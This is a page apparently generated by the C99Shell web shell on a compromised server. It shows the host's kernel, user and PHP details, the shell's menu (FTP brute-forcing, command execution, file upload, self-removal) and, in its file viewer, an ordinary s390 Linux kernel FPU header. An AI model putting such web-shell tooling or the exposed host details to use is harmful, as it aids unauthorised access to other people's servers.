!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/src/linux-headers-4.4.0-210/arch/s390/include/asm/fpu/   drwxr-xr-x
Free 9.52 GB of 29.4 GB (32.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     internal.h (1.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * FPU state and register content conversion primitives
 *
 * Copyright IBM Corp. 2015
 * Author(s): Hendrik Brueckner <brueckner@linux.vnet.ibm.com>
 */

#ifndef _ASM_S390_FPU_INTERNAL_H
#define _ASM_S390_FPU_INTERNAL_H

#include <linux/string.h>
#include <asm/ctl_reg.h>
#include <asm/fpu/types.h>

static inline void save_vx_regs_safe(__vector128 *vxrs)
{
    unsigned long cr0, flags;

    flags = arch_local_irq_save();
    __ctl_store(cr0, 0, 0);
    __ctl_set_bit(0, 17);
    __ctl_set_bit(0, 18);
    asm volatile(
        "    la    1,%0\n"
        "    .word    0xe70f,0x1000,0x003e\n"    /* vstm 0,15,0(1) */
        "    .word    0xe70f,0x1100,0x0c3e\n"    /* vstm 16,31,256(1) */
        : "=Q" (*(struct vx_array *) vxrs) : : "1");
    __ctl_load(cr0, 0, 0);
    arch_local_irq_restore(flags);
}

static inline void convert_vx_to_fp(freg_t *fprs, __vector128 *vxrs)
{
    int i;

    for (i = 0; i < __NUM_FPRS; i++)
        fprs[i] = *(freg_t *)(vxrs + i);
}

static inline void convert_fp_to_vx(__vector128 *vxrs, freg_t *fprs)
{
    int i;

    for (i = 0; i < __NUM_FPRS; i++)
        *(freg_t *)(vxrs + i) = fprs[i];
}

static inline void fpregs_store(_s390_fp_regs *fpregs, struct fpu *fpu)
{
    fpregs->pad = 0;
    fpregs->fpc = fpu->fpc;
    if (MACHINE_HAS_VX)
        convert_vx_to_fp((freg_t *)&fpregs->fprs, fpu->vxrs);
    else
        memcpy((freg_t *)&fpregs->fprs, fpu->fprs,
               sizeof(fpregs->fprs));
}

static inline void fpregs_load(_s390_fp_regs *fpregs, struct fpu *fpu)
{
    fpu->fpc = fpregs->fpc;
    if (MACHINE_HAS_VX)
        convert_fp_to_vx(fpu->vxrs, (freg_t *)&fpregs->fprs);
    else
        memcpy(fpu->fprs, (freg_t *)&fpregs->fprs,
               sizeof(fpregs->fprs));
}

#endif /* _ASM_S390_FPU_INTERNAL_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.012 ]--